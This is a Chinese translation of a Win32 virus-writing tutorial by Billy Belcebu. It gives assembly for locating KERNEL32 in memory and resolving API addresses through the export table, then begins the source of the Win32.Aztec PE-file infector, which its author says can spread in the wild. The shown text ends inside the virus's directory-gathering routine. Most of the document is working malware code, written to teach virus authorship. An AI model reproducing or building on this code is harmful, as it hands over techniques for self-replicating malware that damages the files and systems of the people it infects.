Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼

看雪資料發表於2015-11-15

【Ring-3,在使用者級下程式設計】
~~~~~~~~~~~~~~~~~~~~~~~~~~
   嗯,使用者級給了我們所有人很多令人壓抑和不方便的限制,這是正確的,這妨礙了我們所崇拜的自由,這種我們在編寫DOS病毒時所感受到的自由。但是,夥計,這就是生活,這就是我們的悲哀,這就是Micro$oft。Btw,這是唯一的(當今)能夠完全Win32相容的病毒的方法,而且這個環境是未來,正如你必須知道的。首先,讓我們看看怎麼用一種非常簡單的方法來獲得KERNEL32的基址(為了Win32相容性):

%獲得KERNEL32基址的一個簡單方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如你所知道的,當我們在執行一個應用程式的時候,程式碼是從KERNEL32 "call"一部分程式碼的(也就像KERNEL呼叫我們的程式碼一樣)。而且,如果你還記得的話,當一個call呼叫之後,返回的地址是在堆疊裡(即,在由ESP所指定的記憶體地址裡的)的。讓我們看看關於這個的一個實際例子:

;---------------從這裡開始剪下---------------------------------------------

        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

        .data                           ; Some data (needed by TASM32/TLINK32)
        
        db      ?

        .code

 start:
        mov     eax,[esp]               ; Now EAX would be BFF8XXXXh (if w9X)
                                        ; ie, somewhere inside the API
                                        ; CreateProcess :)
        ret                             ; Return to it ;)
 end    start

;------------到這裡為止剪下--------------------------------------------------

     相當簡單。我們在EAX中得到一個值大約為BFF8XXXX(XXXX是一個不重要的值,這裡這麼寫是因為不需要精確地知道它,再也不要拿那些無聊的東西來煩我了:))。因為Win32平臺通常會對齊到一個頁,我們可以搜尋任何一個頁的開頭,而且因為KERNEL32頭就在一個頁的開頭,我們能夠很輕鬆地檢查它。而且當我們找到我現在正在討論的PE頭的時候,我們就知道了KERNEL32的基址。嗯,作為限制,我們可以以50h頁為限。呵呵,不要擔心,下面是一些程式碼:)

;--------從這裡開始剪下------------------------------------------------


        .586p
        .model  flat

 extrn  ExitProcess:PROC

        .data

 limit  equ     5

        db      0

 ;--------------------------------------
 ; 沒有用而且沒有意義的資料 :)                                       ;
 ;--------------------------------------

        .code

 test:       
        call    delta
 delta:
        pop     ebp
        sub     ebp,offset delta

        mov     esi,[esp]
        and     esi,0FFFF0000h
        call    GetK32

        push    00000000h
        call    ExitProcess

 ;-------------------------------------
 ; 呃,我認為你至少是一個普通ASM程式設計師, 所以我假定你知道指令的第一塊是為了獲得
 ; 地址偏移變化量(特別在這個例子裡面不需要,然而,我喜歡使得它就像我們的病毒程式碼)。
 ; 第二塊是我們所感興趣的東西。我們把我們的程式開始呼叫的地址放在ESI中,即由ESP
 ; 所顯示的地址(當然是如果我們在程式裝載完後沒有碰堆疊的情況下)。第二個指令,那個
 ; AND,是為了獲得我們的程式碼正在呼叫的頁的開頭。我們呼叫我們的例程,在這之後,我
 ; 們結束處理:)
 ;-------------------------------------

 GetK32:

 __1:
        cmp     byte ptr [ebp+K32_Limit],00h
        jz      WeFailed

        cmp     word ptr [esi],"ZM"
        jz      CheckPE

 __2:
        sub     esi,10000h
        dec     byte ptr [ebp+K32_Limit]
        jmp     __1

 ;-------------------------------------
 ; 首先我們檢查我們是否已經達到了我們的極限(50頁)。在這之後,我們檢查是否在頁的開
 ; 頭(它應該是)是否為MZ標誌,而且如果找到了,我們繼續檢查PE頭。如果沒有,我們減
 ; 去10頁(10000h位元組),我們增加限制變數,再次搜尋
 ;-------------------------------------

 CheckPE:
        mov     edi,[esi+3Ch]
        add     edi,esi
        cmp     dword ptr [edi],"EP"
        jz      WeGotK32
        jmp     __2
 WeFailed:
        mov     esi,0BFF70000h
 WeGotK32:
        xchg    eax,esi
        ret

 K32_Limit      dw      limit

 ;--------------------------------------
 ; 我們在MZ頭開始後的偏移地址3CH處得到值(存著從哪兒開始PE頭的RVA),我們把這個
 ; 值和頁的地址規範化,而且如果從這個偏移地址處的記憶體地址標誌是PE標誌,我們就假
 ; 設已經找到了...而且我們確實是找到了!
 ;--------------------------------------

end     test

;--------到這裡為止剪下-----------------------------------------------------

     一個建議:我測試了它,而且在Win98下和WinNT4 SP3下面沒有給我們任何型別的問題,然而,我不知道在其它任何地方會發生什麼,我建議你使用SEH來避免可能的頁錯誤(和它們相關的藍色畫面)。SEH將會在後面介紹。嗨,Lord Julus在他的教程裡面所使用的方法(在感染檔案裡面搜尋GetModuleHandleA函式)並不能很好地滿足我的需要,無論如何,我將給出那個我自己版本的程式碼,在那裡我將解釋怎麼來玩輸入函式。例如,它在per-process駐留病毒裡面要用到,在這個例程裡面有一小點改變:)

%獲取那些令人瘋狂的API函式!!!%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    正如我在介紹那一章所介紹的,Ring-3是使用者級的,所以我們只能訪問它的有限的許可權。例如,我們不能使用埠,讀或寫某些的記憶體區域,等等。當開發Win95(那些再也沒有人說的"Win32平臺是不可感染"的系統)的時候,微軟如果壓制住過去所編寫的病毒,微軟就確信能夠擊敗我們。在他們的美夢中,他們認為我們不能使用他們的API函式,而且,他們更沒想到我們能跳轉到Ring-0,但是,這是另外一段歷史了。
    正如你以前所說的,我們以API函式名作為外部函式,所以import32.lib給了我們函式的地址,而且它已經彙編了,但是我們在寫病毒的時候有一個問題。如果我們hardcode(也就是說我們呼叫一個API函式的時候給的是一個固定的偏移地址),最可能發生的事情是在下一個版本的Win32版本中,那個地址再也不起作用了。你可以看看Bizatch中的一個例子。我們該怎麼做呢?好了,我們有一個函式叫做GetProcAddress,它返回給我們的是我們所需要的API的地址。聰明的你可能已經注意到了GetProcAddress也是一個API,所以如果我們沒有得到那個API還談什麼利用它來搜尋其它API呢。正如在生活中我們所遇到的事情一樣,我們有許多可能性的東西去做,而且我將提及我認為最好的兩種方法:

1.在輸入表中搜尋GetProcAddress API函式。
2.當我們感染一個檔案的時候,在它的輸入函式里尋找GetProcAddress。

    因為最早的方法是第一個,猜猜現在我將會解釋哪一個呢?:)OK,讓我們以理論學習開始,在這之後,一些程式碼。
    如果你看看PE頭的格式,我們在偏移地址78h(是PE頭,不是檔案!)得到輸入表。好了,我們需要利用核心的輸出地址。在Window 95/98下,核心通常在偏移地址0BFF70000h處,而Window NT的核心看起來是在077F00000h處。在Win2K中我們在偏移地址077E00000h處得到它。所以,首先,我們把它的地址儲存到暫存器中,我們將用來作為指標。我強烈建議使用ESI,主要是因為我們可以透過使用LODSD來最佳化一些東西。好了,我們檢查在這個地址處是不是"MZ"(恩反過來為"ZM",該死的intel處理器架構),因為核心是一個庫(.DLL),而庫有一個PE頭,正如我們以前看PE頭的時候,是DOS-相容的一部分的時候所看到的。在那個比較之後,讓我們檢查它是不是PE,所以我們到頭的偏移image_base+[3Ch] (=核心的偏移地址+核心的PE頭的3Ch偏移),搜尋比較"PE\0\0",PE檔案的簽名。
    如果所有都正確,那麼讓我們繼續。我們需要輸出表的RVA,正如你所能看到的,它在PE頭的偏移地址78h處。所以我們得到了它。但是,正如你所知道的,RVA(Relative Virtual Address),正如它的名字所表明的,是和一個OFFSET的相對值,在這種image base為kernel的情況下,正如我以前所說的,那就是它的地址。就這麼簡單:僅僅把kernel的偏移加上在輸出表(Export Table)中的RVA即可。好了,我們現在已經在輸出表中了:)
    讓我們看看它的格式:  
 ---------------------------------- <----+00000000h 
|          Export Flags            |      Size : 1 DWORD
|----------------------------------|<----+00000004h 
|        Time/Date stamp           |      Size : 1 WORD
|----------------------------------|<----+00000006h 
|          Major version           |       Size : 1 WORD
|----------------------------------|<----+00000008h  
|          Minor version           |      Size : 1 DWORD
|----------------------------------|<----+0000000Ch  
|            Name RVA              |      Size : 1 DWORD
|----------------------------------|<----+00000010h  
|   Number Of Exported Functions   |      Size : 1 DWORD
|----------------------------------|<----+00000014h 
|     Number Of Exported Names     |      Size : 1 DWORD
|----------------------------------|<----+00000018h 
|     Export Address Table RVA     |      Size : 1 DWORD
|----------------------------------|<----+0000001Ch 
|   Export Name Pointers Table RVA |      Size : 1 DWORD
|----------------------------------|<----+00000020h 
|       Export Ordinals RVA        |      Size : 1 DWORD
|__________________________________|             
                                       Total Size : 24h BYTES

    對我們來說是最後6個域。在地址表RVA的值中,正如你能想象的是,Name Pointers RVA 和 Ordinals RVA都是和KERNEL32的基址相關的。所以,獲得API地址的第一步是知道這個API的位置,而知道它的最簡單的方法是到Name Pointers所指示的偏移地址處去尋找,把它和我們想要找的API做比較,如果它們完全相同,我們就要計算API的偏移地址了。好了,我們已經到了這一步了,而且我們在計數器中有一個值,因為我們沒檢查一次API的名字就加一次。這個計數器,正如你能想象的,將會儲存我們已經找到的API名字的個數,而且它們不相等。這個計數器可以是一個字或一個雙字,但是最好不要是一個位元組,因為我們需要超過255個API函式:)
    說明:我假設你把地址的VA(RVA+kernel image base),Name 和 (序數表)Ordinal tables已經儲存到相關的變數中了。
    OK,假設我們已經獲得了我們想要得到的API的名字,所以,我們得到了它在名字指標表中的計數。接下來可能對你來說是最複雜的,開始Win32編碼。嗯,讓我們繼續下去。我們得到了計數,而且我們現在要在Ordinal Table(一個dword陣列)中搜尋我們想要得到的API的序數。當我們得到了API在陣列(在計數器)中的數字,我們僅僅把它乘以2(記住,序數陣列是由字組成的,所以,我們必須對字進行計算...),而且當然了,把它加上序數表的開始偏移地址。為了繼續我已經解釋的東西,我們需要由下面公式指向的字:

API's Ordinal location: ( counter * 2 ) + Ordinal Table VA

    很簡單,是不是啊?下一步(而且是最後一步)是從地址表中獲得API的確定地址。我們已經得到了API的序號,對嗎?利用它,我們的生活變得非常容易。我們只有把序號乘以4(因為地址陣列是雙字形式的而不是字,而一個雙字的大小是4),而且把它加上先前得到的地址表開始的偏移地址。呵呵,現在,我們得到了API地址的RVA啦。所以我們要把它規範化,加上Kernel的偏移地址,那樣就好了。我們得到了它!!!讓我們看看這個的數學公式:

 API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase

 --------------------------------------------------------------------- So, as we retrieve  the position
 | EntryPoint | Ordinal | Name             | that occupies the  string in the
 |--------------------|---------------|-------------------------------| Names  table, we  can  know  its 
 |  00005090  |   0001  | AddAtomA         | ordinal (each name has  an ordi-
 |--------------------|---------------|-------------------------------| nal that is in the same position
 |  00005100  |   0002  | AddAtomW         | than the API name), and  knowing
 |--------------------|---------------|-------------------------------| the  ordinal, we  can  know  its
 |  00025540  |   0003  | AddConsoleAliasA  | Address, that is, its entrypoint
 |--------------------|---------------|-------------------------------| RVA. We normalize it, and voila,
 |  00025500  |   0004  | AddConsoleAliasW | you  have  what  you  need,  the 
 \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ required API address.

[...]這些表還有更多的入口,但是有那些就足夠了...
     我希望你已經理解了我解釋的東西。我試圖儘可能的使它表述簡單,如果你不能理解它,不要往下看了,一步一步地重讀它。要有耐心。我肯定你會懂地。嗯,現在你可能需要一些程式碼了。下面給出我例程,作為一個示例,在我的Iced Earth病毒中用到了。

;----從這兒開始剪下-----------------------------------------------------------
;
; GetAPI & GetAPIs procedures
; ===========================
;
; 這是我的尋找所有需要的API的函式... 它們被分成了兩部分。
; GetAPI函式僅僅獲得了我們需要的一個函式, 而GetAPIs函式
; 則搜尋病毒所需要的所有API函式。
;

 GetAPI         proc

 ;--------------------------------------------------------------------------
 ; 讓我們來看看,這個函式需要和返回的引數如下:
 ; 
 ;                                                                       
 ; 輸入:   ESI : 指向API名字的指標 (區分大小寫)                 
 ; 輸出:   EAX : API 地址                                              
 ;--------------------------------------------------------------------------

        mov     edx,esi                         ; Save ptr to name
 @_1:   cmp     byte ptr [esi],0                ; Null-terminated char?
        jz      @_2                             ; Yeah, we got it.
        inc     esi                             ; Nopes, continue searching
        jmp     @_1                             ; bloooopz...
 @_2:   inc     esi                             ; heh, don't forget this ;)
        sub     esi,edx                         ; ESI = API Name size
        mov     ecx,esi                         ; ECX = ESI :)

 ;--------------------------------------------------------------------------
 ; 好了,我親愛的朋友們,這很容易理解。我們在ESI中是指向API名字開始
 ; 的指標,讓我們想象一下,我們想要尋找"FindFirstFileA":
 ;                                                                 
 ; FFFA         db   "FindFirstFileA",0                        
 ;                   ↑ 指標指向這兒                        
 ;                                                            
 ; 而且我們需要儲存這個指標,並知道了API名的大小,所以
 ; 我們把指向API名字的初始指標儲存到一個我們不用的暫存器中如EDX
 ; 然後增加在ESI中的指標的值,直到[ESI]=0
 ;                                                                  
 ; FFFA         db   "FindFirstFileA",0                          
 ;                                    ↑ 現在指標指向這兒了   
 ;                                                                 
 ; 也就是說,以NULL結尾:)然後,透過把新指標減去舊指標,我們得
 ; 到了API名字的大小,搜尋引擎需要它。然後我把它儲存到ECX中,
 ; 也是一個我們不會使用的暫存器。
 ;---------------------------------------------------------------------------

        xor     eax,eax                         ; EAX = 0
        mov     word ptr [ebp+Counter],ax       ; Counter set to 0

        mov     esi,[ebp+kernel]                ; Get kernel's PE head. offset
        add     esi,3Ch
        lodsw                                   ; in AX
        add     eax,[ebp+kernel]                ; Normalize it

        mov     esi,[eax+78h]                   ; Get Export Table RVA
        add     esi,[ebp+kernel]                ; Ptr to Address Table RVA
        add     esi,1Ch

 ;---------------------------------------------------------------------------
 ; 首先,我們清除EAX,然後為了避免無法預料的錯誤,使得計數變數為0。
 ; 如果你還記得PE檔案頭偏移地址3CH(從映象基址MZ標誌開始計數)的作用,
 ; 你會理解這個的。我們正在請求得到KERNEL32 PE頭偏移的開始。因為
 ; 它是一個RVA,我們把它規範化,那就是我們得到了它的PE頭偏移地址。
 ; 現在我們所要做的是獲得輸出表(Export Table)的地址(在PE頭+78h處),
 ; 然後,我們避開這個結構的不想要的資料,直接獲得地址表(Address Table)
 ; 的RVA。
 ;---------------------------------------------------------------------------

        lodsd                                   ; EAX = Address Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax

        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

 ;---------------------------------------------------------------------------
 ; 如果你還記得,在ESI中是指向地址表RVA(Address Table RVA)的指標,所以,
 ; 我們為了得到那個地址,用了一個LODSD,它把由ESI所指定的雙字(DWORD)保
 ; 存到EAX中。因為它是一個RVA,我們需要對它規範化。
 ;                                                                 
 ; 讓我們看看Matt Pietrek關於這個第一個域的描述:
 ;                                                                   
 ; “這個域是一個RVA而且指向一個函式地址陣列。這個函式地址是這個模組中
 ; 每一個輸出地址的入口點(RVA)。”
 ;                                       
 ;                                                       
 ; 毫無疑問了,我們把它儲存到它的變數中了。然後,接下來我們找到的
 ; 是名字指標表(Name Pointers Table),Matt Pietrek的描述如下:
 ;                                
 ; “這個域是一個RVA,而且指向一個字串指標陣列。這些字串是模組
 ; 的輸出函式的名字。”
 ;                                                   
 ; 但是我沒有把它儲存到一個變數中,我把它壓棧,僅僅是因為我很快就要用到
 ; 它。最終,我們找到了,下面是Matt Pietrek關於它的描述:
 ;                                           
 ; “這個域是一個RVA,而且指向一個字(WORD)陣列。這些字是這個模組
 ; 的所有輸出函式的序號”。
 ;                                     
 ; 好了,那就是我們所做的事情。
 ;---------------------------------------------------------------------------

 @_3:   push    esi                             ; Save ESI for l8r restore
        lodsd                                   ; Get value ptr ESI in EAX
        add     eax,[ebp+kernel]                ; Normalize
        mov     esi,eax                         ; ESI = VA of API name
        mov     edi,edx                         ; EDI = ptr to wanted API
        push    ecx                             ; ECX = API size
        cld                                     ; Clear direction flag
        rep     cmpsb                           ; Compare both API names
        pop     ecx                             ; Restore ECX
        jz      @_4                             ; Jump if APIs are 100% equal
        pop     esi                             ; Restore ESI
        add     esi,4                           ; And get next value of array
        inc     word ptr [ebp+Counter]          ; Increase counter
        jmp     @_3                             ; Loop again

 ;---------------------------------------------------------------------------
 ; 嗨,是不是我放了太多的程式碼而沒有註釋?因為我剛做好,但是懂得了這一塊程式碼
 ; 不能因為解釋它而分離開來。我們首先所做的是把ESI(在CMPSB指令執行中將改變)
 ; 壓棧,以備後用。然後,我們獲得由ESI(Name Pointerz Table)指向的雙字儲存到
 ; 累加器(EAX)中,所有這些透過LODSD指令實現。我們透過加上kernel的基址來規範
 ; 化它。好了,現在我們在EAX中是指向某一個API名字的指標,但是我們不知道(仍然)
 ; 是什麼API。例如,EAX可以指向諸如"CreateProcessA",而這個API對我們的病毒來
 ; 說不感興趣...為了把那個字串和我們想要的字串(現在由EDX指向),我們有CMPSB。
 ; 所以,我們準備它的引數:在ESI中,我們使得指標指向現在在Name Pointerz Table中
 ; 的API的開始,在EDI中,我們使之指向需要的API)。在ECX中我們儲存它的大小,
 ; 然後我們按位元組比較。如果所有的字元相等,就設定0標誌,然後跳轉到獲取那個API
 ; 地址的例程,但是如果它失敗了,我們恢復ESI,並把它加上DWORD的大小,為了獲取
 ; 在Name Pointerz Table陣列中的下一個值。我們增加計數器的值(非常重要),然後
 ; 繼續搜尋。
 ;---------------------------------------------------------------------------

 @_4:   pop     esi                             ; Avoid shit in stack
        movzx   eax,word ptr [ebp+Counter]      ; Get in AX the counter
        shl     eax,1                           ; EAX = AX * 2
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize 
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; EAX = 0, ESI = ptr to Ord
        lodsw                                   ; Get Ordinal in AX
        shl     eax,2                           ; EAX = AX * 4
        add     eax,dword ptr [ebp+AddressTableVA] ; Normalize
        mov     esi,eax                         ; ESI = ptr to Address RVA
        lodsd                                   ; EAX = Address RVA
        add     eax,[ebp+kernel]                ; Normalize and all is done.
        ret

 ;---------------------------------------------------------------------------
 ; Pfff, 又一個巨大的程式碼塊,而且看起來很難理解,對嗎?呵呵,不要害怕,我將要
 ; 註釋它:)
 ; 呃,pop指令是為了清除堆疊,我們把計數值(因為它是一個WORD)放置到EAX的低位
 ; 中,並把這個暫存器的高位清0。我們把它乘以2,因為我們只得到了它的數字,
 ; 而且我們要搜尋的陣列是一個WORD陣列。現在把它加上指向我們要搜尋的陣列開始的
 ; 指標,而在EAX中是我們想要的API的指標的序號。所以我們把EAX儲存到ESI中為了使
 ; 用那個指標來獲取它指向的值,也就是說,序號儲存到EAX中,用簡單的LODSW。
 ; 嗨,我們得到了序號,但是我們想要的是API程式碼的入口(EntryPoint),所以,我們
 ; 把序數(儲存了想要的API在地址表中的入口點位置)乘上4,也就是說DWORD的大小,
 ; 然後我們得到了一個RVA值,和Address Table RVA 相關,所以我們規範化,那麼現在
 ; 我們在EAX中得到的是指向地址表中的API的入口點的指標。我們把EAX賦給ESI,在EAX
 ; 中得到了指向的值。這樣我們在EAX中得到了需要的API的入口RVA的值。嗨,現在我們
 ; 必須要做的是把那個地址和KERNEL32的基址規範化,瞧,做好了,我們在EAX中
 ; 得到了API的真正地址!!!;)
 ;---------------------------------------------------------------------------

 GetAPI         endp

 ;---------------------------------------------------------------------------
 ;---------------------------------------------------------------------------

 GetAPIs        proc
 
 ;---------------------------------------------------------------------------
 ; Ok, 這是透過使用以前的函式來獲得所有API的程式碼,它的引數為:
 ;                                                                     
 ; 輸入:  ESI : 指向想要得到的第一個API名字ASCII碼的首地址          
 ;        EDI : 指向將要儲存的想要得到第一個API的變數
 ; 輸出:  無。                                                     
 ;                                        
 ; 好了,我假設你想要獲得的所有值的結構如下:
 ;                                                               
 ; ESI 指向 →  db         "FindFirstFileA",0             
 ;              db         "FindNextFileA",0            
 ;              db         "CloseHandle",0            
 ;              [...]                                   
 ;              db         0BBh ; 標誌著這個陣列的結束  
 ;                                                         
 ; EDI 指向 → dd         00000000h ;  FFFA 的將來的地址     
 ;             dd         00000000h ;  FNFA 的將來的地址 
 ;             dd         00000000h ;  CH   的將來的地址 
 ;             [...]                           
 ; 我希望你足夠聰明,能理解它。             
 ;---------------------------------------------------------------------------

 @@1:   push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi
        stosd

 ;---------------------------------------------------------------------------
 ; 我們把在這個函式中處理的值壓棧為了避免它們改變,並呼叫GetAPI函式。
 ; 我們假設現在ESI是一個指向想要的API名字的指標,EDI是指向要處理API名字的變數
 ; 的指標。因為函式在EAX中返回給我們API的偏移地址,我們透過使用STOSD把它儲存到
 ; 由EDI指向的相關變數中。
 ;---------------------------------------------------------------------------

 @@2:   cmp     byte ptr [esi],0
        jz      @@3
        inc     esi
        jmp     @@2
 @@3:   cmp     byte ptr [esi+1],0BBh
        jz      @@4
        inc     esi
        jmp     @@1
 @@4:   ret
 GetAPIs        endp

 ;---------------------------------------------------------------------------
 ; 可以更最佳化,我知道,但是,為了更好為我的解釋服務。我們首先所做的是到達我們
 ; 以前請求的地址的字串的尾部,現在它指向下一個API。但是我們想要知道它是否
 ; 是最後一個API,所以我們檢查我們的標誌,位元組0BBh(猜猜為什麼是0BBh?)。如果它
 ; 是,我們就已經得到了所有需要的API,而如果不是,我們繼續我們的搜尋。
 ;---------------------------------------------------------------------------
 ;------到這兒為止剪下-------------------------------------------------------

    呵呵,我儘可能的使得這些過程簡單,而且我註釋了很多,你將會不透過複製就可以理解了。而且如果你
你複製也不是我的問題...呵呵,我沒有不允許你複製它:)但是,現在的問題是我們該搜尋什麼API呢?這主要依賴於在進行PE操作之前方式。我將給你演示一個直接行為(即執行期)版本的一個病毒,它使用了檔案對映計數(更容易操作和更快地感染),我將會列出你能使用地API函式。

%一個病毒示例%
~~~~~~~~~~~~~~
    不要認為我瘋了,我將在這裡放一個病毒的程式碼僅僅是為了避免煩人的解釋所有API的東西,而且還可以看看它們的作用:)好了,下面你得到的是我的最近的創造。我花了一個下午來完成它:我把它基於Win95.Iced Earth,但是沒有bug和特殊功能。享受這個Win32.Aztec!(Yeah, Win32!!!)。

;----從這兒開始剪下-----------------------------------------------------------
; [Win32.Aztec v1.01] - Iced Earth的Bug修復版本
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; 病毒名    : Aztec v1.01
; 病毒作者  : Billy Belcebu/iKX
; 國籍      : Spain(西班牙)
; 平臺      : Win32
; 目標      : PE 檔案
; 編譯      : TASM 5.0 和 TLINK 5.0 用
;                       tasm32 /ml /m3 aztec,,;
;                       tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
;                       pewrsec aztec.exe
; 說明      : 現在所有東西都是特別的了。只是Iced Earth病毒的bug修復,並移除了一些特殊功能
;             這是一個學習Win32病毒的真正病毒。
; 為什麼'Aztec'?  : 為什麼叫這個名字呢?許多原因:
;                 ?如果有一個 Inca 病毒和一個 Maya 病毒... ;)
;                 ?我在 Mexico 生活過6個月
;                 ?I hate the fascist way that Hernan Cortes used for steal
;                   their territory to the Aztecs
;                 ?I like the kind of mithology they had ;)
;                 ?我的音效卡是一個 Aztec的 :)
;                 ?我愛 Salma Hayek! :)~
;                 ?KidChaos 是我的一個朋友 :)
; 問候     : 這次只向所有在EZLN 和 MR他的人問候。
;                 祝所有人好運,和... 繼續戰鬥!
;
; (c) 1999 Billy Belcebu/iKX

        .386p                                   ; 需要386+  =)
        .model  flat                            ; 32 位暫存器, 沒有段.
        jumps                                   ; 為了避免跳出範圍

extrn   MessageBoxA:PROC                        ; 第一次產生的時候輸入的API函式:) 
extrn   ExitProcess:PROC                        ; 

; 病毒的一些有用的equ

virus_size      equ     (offset virus_end-offset virus_start)
heap_size       equ     (offset heap_end-offset heap_start)
total_size      equ     virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)

; 僅僅是為第一次產生的時候編碼的, 不要擔心 ;)

kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h

        .data

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0

 ;---------------------------------------------------------------------------
 ; 所有這些都是狗屎:有一些宏可以使得這些程式碼更好看,而且有一些是為
 ; 第一次產生時用的,等等。
 ;---------------------------------------------------------------------------

        .code

virus_start     label   byte

aztec:
        pushad                                  ; Push 所有暫存器
        pushfd                                  ; Push FLAG 暫存器

        call    delta                           ; 最難理解的程式碼 ;)
delta:  pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta

        sub     eax,shit_size                   ; Obtain the Image Base on 
        sub     eax,00001000h                   ; the fly
NewEIP  equ     $-4
        mov     dword ptr [ebp+ModBase],eax

 ;---------------------------------------------------------------------------
 ; Ok. 首先,我把所有的暫存器和所有的標誌都壓棧了(不是因為需要這麼做,僅僅是
 ; 因為我一直喜歡這麼做)。然後,我所做的都是非常重要的。是的!它是delta offset!
 ; 我們必須得到它因為原因你必須知道:我們不知道我們是在記憶體的哪裡執行程式碼,所
 ; 以透過這個我們就能很容易地知道它...我不會告訴你更多關於delta offset的東西了,
 ; 因為我肯定你已經從DOS編碼就知道了;)接下來是獲得當前程式的基址(Image Base),
 ; 這需要返回控制權給主體(將會在以後做)。首先我們減去在delta標誌和aztec標誌
 ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5))的位元組,然後我們減去當前的EIP
 ; (在感染的時候補丁),也就是說我們得到了當前的基址(Image Base)。
 ;---------------------------------------------------------------------------


        mov     esi,[esp+24h]                   ; 獲得程式返回地址
        and     esi,0FFFF0000h                  ; 和10頁對其
        mov     ecx,5                           ; 50 頁 (10組)
        call    GetK32                          ; 呼叫它
        mov     dword ptr [ebp+kernel],eax      ; EAX 必須是 K32 的基址

 ;---------------------------------------------------------------------------
 ; 首先,我們從呼叫的程式(它在,可能為CreateProcess API函式)中得到的地址放到
 ; ESI中,它最初是由ESP所指向的地址,但是當我們使用堆疊壓了24個位元組(20被PUSHAD,
 ; 其它的為PUSHFD),我們不得不修正它。然後我們使它按10頁對齊,使ESI的低位為0。
 ; 在這之後,我們設定GetK32函式的其它引數,ECX,儲存著要搜尋的10頁的最大組數,
 ; 為5(也就是說5*10=50頁),然後我們呼叫函式。當它返回給我們正確的KERNEL32的
 ; 基址之後,我們把它儲存起來。
 ;---------------------------------------------------------------------------

        lea     edi,[ebp+@@Offsetz]
        lea     esi,[ebp+@@Namez]
        call    GetAPIs                         ; 找到所有的API

        call    PrepareInfection
        call    InfectItAll

 ;---------------------------------------------------------------------------
 ; 首先,我們設定GetAPIs函式的引數,就是在EDI中是一個指標,這個指標指向將要
 ; 儲存API地址的DWORD陣列,在ESI是所有要搜尋的API函式的ASCII名字。
 ;---------------------------------------------------------------------------

        xchg    ebp,ecx                         ; 是不是第一次產生?
        jecxz   fakehost

        popfd                                   ; 恢復所有的標誌
        popad                                   ; 恢復所有的暫存器

        mov     eax,12345678h
        org     $-4
OldEIP  dd      00001000h

        add     eax,12345678h
        org     $-4
ModBase dd      00400000h

        jmp     eax

 ;---------------------------------------------------------------------------
 ; 首先,我們看看我們是不是在第一次產生病毒,透過檢測EBP的值是否為0。如果是,
 ; 我們跳轉到第一次產生的地方。但是,如果它不是,我們先從堆疊中恢復標誌暫存器,
 ; 接下來是所有的暫存器。然後我們的指令是給EAX賦感染後的程式舊入口地址(在感染
 ; 的時候補丁),然後我們把它加上當前程式(在執行期補丁)的基址,我跳到它那裡。
 ;---------------------------------------------------------------------------

PrepareInfection:
        lea     edi,[ebp+WindowsDir]            ; 指向第一個目錄
        push    7Fh                             ; 把快取的大小壓棧
        push    edi                             ; 把快取的地址壓棧
        call    [ebp+_GetWindowsDirectoryA]     ; 獲取windows目錄

        add     edi,7Fh                         ; 指向第二個目錄
        push    7Fh                             ; 把快取的大小壓棧
        push    edi                             ; 把快取的地址壓棧
        call    [ebp+_GetSystemDirectoryA]      ; 獲取 windows\system 目錄

        add     edi,7Fh                         ; 指向第三個目錄
        push    edi                             ; 把快取的地址壓棧
        push    7Fh                             ; 把快取的大小壓棧
        call    [ebp+_GetCurrentDirectoryA]     ; 獲取當前目錄
        ret

 ;---------------------------------------------------------------------------
 ; 這是一個簡單的用來獲取病毒將要搜尋檔案來感染的所有目錄,並按這個特定順序。
 ; 因為一個目錄的最大長度是7F位元組,我已經儲存到堆疊(看下面)的三連續變數中,
 ; 因此避免無用的程式碼佔更多的位元組,和隨病毒傳播無用的資料。請注意在最後一個
 ; API中沒有任何錯誤,因為在那個API中,順序改變了。讓我們對那個API做一個更
 ; 深的分析:
 ; 
 ; GetWindowsDirectory函式得到Windows的目錄。Windows目率包含了一些基於Windows
 ; 的應用程式,初始化檔案,和幫助檔案。
 ;                                                                  
 ; UINT GetWindowsDirectory(                                     
 ;   LPTSTR lpBuffer,    // 儲存Windows目錄的快取地址   
 ;   UINT uSize  // 目錄快取的大小                          
 ;  );                                                          
 ;                                              
 ; 引數       
 ; ====
 ; ?lpBuffer: 指向接受NULL結尾的包含路徑的字串的快取。這個路徑不是以一個
 ;   反斜線符號結束的,除非Windows目錄是根目錄。例如,如果Windows目錄是在C
 ;   盤上的以WINDOWS命名的,那麼這個函式返回的Windows目錄是C:\WINDOWS.如果
 ;   Windows是安裝在C盤的根目錄上的,返回的路徑是C:\。
 ; ?uSize: 指定被lpBuffer引數指向的快取的字元最大個數。這個值應該設定成至少
 ;   為MAS_PATH來為路徑指定足夠的空間。
 ;                                                               
 ; 返回值                                       
 ; ======                                         
 ;                                                         
 ; ?如果函式成功執行了,返回值是複製到緩衝區的字元個數,不包括NULL結尾符。
 ; ?如果長度比緩衝區的大小還要大,返回值將是緩衝區所需要儲存路徑所需要的
 ;  大小。
 ;                                
 ; ---                                    
 ;                                 
